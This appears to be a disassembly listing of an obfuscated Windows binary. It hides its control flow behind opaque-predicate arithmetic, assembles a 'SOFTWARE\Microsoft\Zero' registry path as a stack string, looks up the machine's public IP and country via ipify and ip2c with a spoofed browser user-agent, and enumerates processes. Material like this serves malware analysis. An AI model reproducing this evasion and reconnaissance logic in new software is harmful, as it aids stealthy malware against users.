and cl, bl
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x38001322
mov ebx, 0xcf500317
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x38001322
jmp 0x14001cca4
sub rsp, 0x20
call fcn.1400014d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0x70]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rsi, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rsi], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140063b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rsi
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140069338]
add rsp, 0x40
test eax, eax
sete byte [rbp + 0x87]
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov eax, edx
not eax
mov esi, ecx
and esi, 0x3e7f9817
and edi, 0xc18067e8
or edi, esi
or ecx, eax
and eax, 0x3e7f9817
and edx, 0xc18067e8
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5b601897
and ecx, 0xa49fe768
or ecx, eax
mov eax, ecx
xor eax, 0xa009a348
and r9d, 0x55b2f667
and ebx, 0xaa4d0998
or ebx, r9d
mov edx, ebx
xor edx, 0xa8090998
xor ecx, 0x5b601897
xor ebx, 0x55b2f667
mov edi, ecx
and edi, 0x46f64426
and eax, 0xb909bbd9
or eax, edi
or ecx, ebx
and ebx, 0x46f64426
and edx, 0xb909bbd9
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and al, dl
and dl, r9b
or dl, cl
mov ecx, edx
xor cl, bl
and cl, dl
and bl, r9b
or bl, al
xor cl, 1
xor bl, 1
mov edx, ecx
or dl, bl
xor bl, cl
mov ecx, edx
xor cl, bl
test bl, bl
mov eax, 0xbdffdaa2
mov ebx, 0x55fc8d4
cmovne eax, ebx
test dl, dl
mov edx, 0xbdffdaa2
cmovne eax, edx
jmp 0x14001cc7d
mov eax, 0x9a60aef8
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov eax, 0x105614b0
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp byte [rbp + 0xd5], 0
mov eax, 0x7e369593
mov ecx, 0x4e4a55ba
jmp 0x14001cca4
mov eax, 0x858390a6
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x93b43b36
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rsi, qword [rbp - 0x10]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov word [rsi + 0x30], 0
sub rsp, 0x20
mov rcx, rsi
lea rdx, str.https:__api.ipify.org_
call fcn.1400436a4
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [0x140069428]
add rsp, 0x30
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
sete byte [rbp + 0xd5]
mov edx, dword [0x1400640e4]
mov ecx, dword [0x1400640e8]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xfa7fd052
mov edi, eax
and edi, 0x5802fad
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x5802fac
and edi, 0xfa7fd053
or edi, ebx
not edi
and edx, 0xa5d7c662
and eax, 0x5a28399d
or eax, edx
xor eax, 0x5a28399d
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, eax
not edx
and edx, 0x7a644100
and eax, 0x859bbeff
or eax, edx
xor eax, 0x859bbeff
sete r8b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
and dl, r10b
xor cl, 1
and cl, al
or cl, dl
mov edx, eax
or al, r9b
and r9b, r10b
and dl, r8b
or dl, r9b
xor r10b, r8b
xor al, 1
or al, r10b
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x331dd1c6
mov eax, 0x55c54b1a
cmovne ebx, eax
test dl, 1
mov eax, 0x331dd1c6
jmp 0x14001cc7a
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140063bb8]
add rsp, 0x30
mov eax, 0x13f66c56
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc7ba495f
and edx, 0x3845b6a0
or edx, ecx
mov ebx, edx
xor ebx, 0x3845b6a0
mov ecx, edx
xor ecx, 0x44804903
xor edx, 0x3845b6a1
and edx, ebx
and ecx, 0x44c0e983
and ebx, 0xbb3f167c
or ebx, ecx
mov edi, ebx
xor edi, 0x3136163d
mov ecx, edx
not ecx
xor ebx, 0x44c0e982
mov esi, ecx
and esi, 0x8ac9e942
and edx, 0x753616bd
or edx, esi
or ecx, ebx
and ebx, 0x8ac9e942
and edi, 0x753616bd
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x58e2f6a0
and ebx, ecx
or ecx, 0xa71d095f
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xd4ff09d9
and edx, 0x800f620
or edx, esi
or ecx, edi
and edi, 0xd4ff09d9
and ebx, 0x2b00f626
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x99de7323
and ecx, 0x66218cdc
or ecx, edx
xor ecx, 0x3ec37a7c
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ecx
mov eax, ecx
xor al, r10b
or cl, r10b
and r10b, bl
and dl, r9b
or dl, r10b
xor bl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
test al, 1
mov eax, 0x796c32f6
mov ebx, 0x5d46571e
cmovne eax, ebx
test dl, dl
cmove eax, r15d
jmp 0x14001cc7d
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp - 0x60]
mov dword [rax], 0xfa
mov rdx, qword [rbp - 0x60]
sub rsp, 0x20
lea rcx, [0x140069440]
call qword [0x140069638]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x47]
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf8113f29
and ebx, 0x7eec0d6
or ebx, esi
or ecx, edi
and edi, 0xf8113f29
and edx, 0x7eec0d6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edi, ecx
mov edx, ecx
xor edx, 0xe85d2aed
and edx, ecx
not ecx
and ecx, 0x845aaf42
and edi, 0x7ba550bd
or edi, ecx
mov ecx, edi
xor ecx, 0x7ba550bd
mov ebx, edi
xor ebx, 0x6c0785af
and ebx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x46830632
and edx, 0xb97cf9cd
or edx, ebx
xor edx, 0x5121d321
xor edi, 0x4a0142
and edi, 0x3beb017a
mov ebx, ecx
and ebx, 0xc414fe85
or ebx, edi
xor ebx, 0x3beb017b
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xef9daa43
and ecx, 0x106255bc
or ecx, ebx
xor ecx, 0x106255bc
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2830c629
and edx, ecx
and ecx, 0xd7cf39d6
or ecx, ebx
mov ebx, ecx
xor ebx, 0xd20828d4
xor ecx, 0x2830c629
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2de7d322
and ebx, 0xd2182cdd
or ebx, esi
or ecx, edi
and edi, 0x2de7d322
and edx, 0xd2182cdd
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
and dl, al
xor cl, 1
and cl, r10b
or cl, dl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and al, r8b
or al, r9b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x94d02ed
mov edi, 0xe8ddcc50
cmovne eax, edi
test bl, bl
mov edx, 0x94d02ed
jmp 0x14001b258
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, ecx
and edx, 0x33865a20
and ecx, 0xcc79a5df
or ecx, edx
xor ecx, 0xcc79a5de
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xe518b86d
and edx, 0x1ae74792
or edx, ecx
xor edx, 0xe518b86d
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor al, dl
mov edx, ebx
or dl, cl
xor dl, 1
xor bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
xor cl, al
mov ebx, eax
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xec6607a5
mov eax, 0xd35b2d61
cmovne edx, eax
test cl, 1
mov eax, edx
mov ecx, 0xec6607a5
cmovne eax, ecx
test bl, 1
jmp 0x14001b9fd
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rsi, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x20]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x20]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x20]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x20]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x20]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x20]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x20]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x20]
mov word [rax + 0x14], 0x69
mov word [rsi], 0x53
mov rax, qword [rbp - 0x20]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x20]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x20]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x20]
mov word [rax + 8], 0x57
mov r8, qword [rbp - 0x28]
sub rsp, 0x20
mov rcx, 0xffffffff80000001
mov rdx, rsi
call qword [0x140069640]
add rsp, 0x20
test rax, rax
mov eax, 0xbfb41029
mov ecx, 0xbc9b9ed6
jmp 0x14001c7cd
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x65c7c1dd
and ecx, 0x9a383e22
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9a383e22
and ecx, 0x65c7c1dd
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xaed956d0
and ecx, 0x5126a92f
or ecx, edx
xor ecx, 0x5126a92e
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0x1cd089d5
and edx, ecx
or ecx, 0xe32f762a
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf40118a9
and ebx, 0x8d08154
or ebx, esi
or ecx, edi
and edi, 0xf40118a9
and edx, 0xbfee756
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe32f762a
and ecx, 0x1cd089d5
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x5846321
and edx, 0xfa7b9cde
or edx, ecx
xor edx, 0xfa7b9cde
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
not al
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, r8d
or dl, al
xor dl, 1
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0xddc372dc
mov ecx, 0xd5e8a345
cmovne eax, ecx
test bl, 1
mov ebx, 0xddc372dc
jmp 0x14001cb03
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ebx, 0x3e33991d
and ecx, 0xc1cc66e2
or ecx, ebx
mov edx, ecx
xor edx, 0x3e33991d
xor ecx, 0xc0662
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0x200d9e72
and edx, 0xdff2618d
or edx, ecx
xor edx, 0xdff2618c
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
mov ecx, edx
xor ecx, 0xdc251b64
and ecx, edx
not edx
and edx, 0xc8211924
and ebx, 0x14040240
or ebx, edx
xor ebx, 0x14040240
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf7dbc5d8
and ecx, 0x8243a27
or ecx, edx
xor ecx, 0xd4012143
setne r8b
sete r10b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, r10d
xor dl, r8b
and dl, r10b
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
and cl, dl
and dl, al
mov ebx, ecx
xor bl, 1
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor r9b, r8b
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
xor al, 1
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov r8d, edx
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov ebx, eax
and bl, r9b
mov ecx, ebx
xor cl, 1
xor bl, al
or cl, r9b
xor cl, 1
or cl, bl
and r8b, cl
xor cl, 1
and cl, dl
or cl, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xbed7f030
mov ebx, 0x6501ca1e
cmovne edx, ebx
test al, 1
mov eax, 0xbed7f030
cmovne eax, edx
jmp 0x14001bbe5
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0x10]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov word [rsi + 0x30], 0
sub rsp, 0x20
mov rcx, rsi
lea rdx, str.https:__ip2c.org_
call fcn.1400436a4
mov rcx, rsi
lea rdx, [0x140069340]
call fcn.1400436a4
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [0x140069428]
add rsp, 0x30
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
sete byte [rbp + 0xff]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xefe79e21
and edx, ebx
not ebx
and ebx, 0x4e10e01
and ecx, 0xeb069020
or ecx, ebx
xor ecx, 0xeb069020
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x101861de
and edx, 0xefe79e21
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xafccd8fc
mov edi, edx
and edi, 0x50332703
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x70a92805
and edi, 0x8f56d7fa
or edi, ebx
xor edi, 0x209a0f07
and edx, 0x17a4638c
mov ebx, ecx
and ebx, 0xe85b9c73
or ebx, edx
xor ebx, 0x17a4638d
and ecx, 1
or ecx, ebx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb8a3e964
and ebx, 0x475c169b
or ebx, esi
or ecx, edi
and edi, 0xb8a3e964
and edx, 0x475c169b
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r11d, edx
and r11b, al
xor al, dl
or al, r11b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, r10b
and dl, bl
and bl, r10b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
xor al, r8b
xor al, 1
xor r10b, r9b
or cl, r8b
xor cl, 1
or cl, r10b
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor bl, 1
mov edx, ebx
or dl, cl
xor bl, cl
mov eax, edx
xor al, bl
test al, 1
mov ecx, 0xb0483057
mov eax, 0x56b7decd
cmovne ecx, eax
test bl, 1
mov eax, ecx
mov ebx, 0xb0483057
jmp 0x14001c3d9
cmp dword [rbp + 0x11c], 0
sete byte [rbp + 0xd7]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x48232e8
and ebx, 0xc2088c10
or ebx, edx
mov edi, ebx
xor edi, 0x80c10
xor ebx, 0x1d02116a
or ecx, 0xc68abef8
mov edx, ecx
not edx
and ebx, 0xdf02916a
and edi, 0x882e90
or edi, ebx
and ecx, 0xdf02916a
and edx, 0x20754005
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xc72785c5
and edx, 0x38d87a3a
or edx, ecx
mov ebx, edx
xor ebx, 0x5e00c442
xor edx, 0x1ad3b3d
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xa0fa0b81
and ebx, 0x5f05f47e
or ebx, edx
mov edx, ebx
xor edx, 0x4d006417
xor ebx, 0xa0fa0b80
mov esi, ecx
and esi, 0xb26d9368
and edi, 0x4d926c96
or edi, esi
or ecx, ebx
and ebx, 0xb26d9368
and edx, 0x4d926c97
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc0128418
mov ebx, ecx
and ebx, 0x10200322
or ebx, edx
xor ebx, 0x10200322
and ecx, 0x2fcd78c5
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2fcd78c5
and ecx, 0xd032873a
or ecx, edx
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and al, bl
and r8b, cl
or r8b, al
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor bl, 1
and bl, r8b
xor r8b, 1
and al, r8b
or bl, al
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov ecx, r8d
xor cl, bl
test r8b, 1
mov eax, 0x9b9651cb
mov edx, 0x933afb4e
cmovne eax, edx
test bl, bl
cmove eax, edx
not cl
test cl, 1
mov ecx, 0x9b9651cb
jmp 0x14001cca4
mov eax, 0x32285f1c
mov dword [rbp - 0x78], 1
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140069648]
add rsp, 0x20
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
cmp rax, 0xffffffffffffffff
sete byte [rbp + 0xad]
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0x5e96f67c
and edi, ecx
mov edx, ecx
or edx, 0xa1690983
mov esi, edi
not esi
mov eax, edx
and eax, 0x95149969
mov ebx, r9d
and ebx, 0x4a826614
or ebx, eax
or edx, esi
and esi, 0x95149969
and edi, 0x6aeb6696
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xa1690982
and edx, 0x5e96f67d
or edx, eax
and r9d, 0xaf03e7ae
and ecx, 0x50fc1851
or ecx, r9d
mov eax, ecx
xor eax, 0x50fc1851
xor ecx, 0xaf03e7ae
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ecx
or al, bl
xor bl, 1
or bl, r8b
xor bl, 1
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r8d
xor r8b, r10b
and r10b, cl
and dl, r9b
or dl, r10b
or cl, r9b
xor cl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xfa662243
mov ebx, 0xe58518f5
cmovne eax, ebx
test dl, 1
cmovne eax, r13d
jmp 0x14001cc7d
mov eax, 0xf57a1ceb
mov dword [rbp - 0x70], 0
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov edi, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4cd867d9
and edx, 0xb3279826
or edx, ecx
mov ebx, edx
xor ebx, 0x1018824
xor edx, 0x48402108
and edx, 0xfa66310a
and ebx, 0x599cef5
or ebx, edx
mov ecx, ebx
xor ecx, 0xfa66310a
xor ebx, 0x599cef4
mov edx, ecx
and edx, 0xfffffffe
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x80805210
mov ebx, ecx
and ebx, 0x280f0d04
or ebx, edx
xor ebx, 0x280f0d04
and ecx, 0x5770a0eb
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2822e508
and ecx, 0xd7dd1af7
or ecx, edx
xor ecx, 0x7f5245e3
sete r8b
setne r9b
cmp edi, 9
setg cl
cmp edi, 0xa
setl al
mov edx, ecx
mov ebx, ecx
xor bl, r9b
or cl, r9b
and r9b, al
and dl, r8b
or dl, r9b
xor al, r8b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
test cl, 1
mov ecx, 0xba093f57
mov ebx, 0x446dc281
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0xba093f57
cmovne eax, ebx
test dl, dl
jmp 0x14001c7cd
cmp dword [rbp + 0x118], 0
sete byte [rbp + 0xd6]
mov eax, dword [0x1400640e4]
